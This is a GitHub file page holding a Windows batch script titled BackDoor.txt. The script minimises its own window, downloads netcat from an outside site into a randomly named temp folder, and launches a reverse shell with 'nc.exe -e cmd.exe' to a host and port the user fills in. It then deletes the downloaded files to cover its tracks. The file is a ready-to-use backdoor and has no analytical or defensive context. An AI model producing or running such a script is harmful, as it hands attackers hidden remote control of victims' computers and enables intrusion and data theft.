-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathBackDoor.txt
More file actions
22 lines (16 loc) · 740 Bytes
/
BackDoor.txt
File metadata and controls
22 lines (16 loc) · 740 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@echo off
:: Hide script execution window
if not "%1"=="h" start /min cmd /c "%~dpnx0" h & exit /b
:: Create a random directory name to download netcat
set "DIRNAME=%TEMP%\%RANDOM%-%RANDOM%"
md "%DIRNAME%"
:: Replace "YOUR_HOST" and "YOUR_PORT" with your desired host and port
set "HOST=YOUR_HOST"
set "PORT=YOUR_PORT"
:: Download and execute netcat
powershell -c "Invoke-WebRequest -Uri 'https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip' -OutFile '%DIRNAME%\nc.zip'; Expand-Archive -Path '%DIRNAME%\nc.zip' -DestinationPath '%DIRNAME%'"
:: Execute netcat to create a reverse shell
start /min "%DIRNAME%\nc.exe" -e cmd.exe %HOST% %PORT%
:: Clean up - delete downloaded files
ping localhost -n 3 > nul
rd /s /q "%DIRNAME%"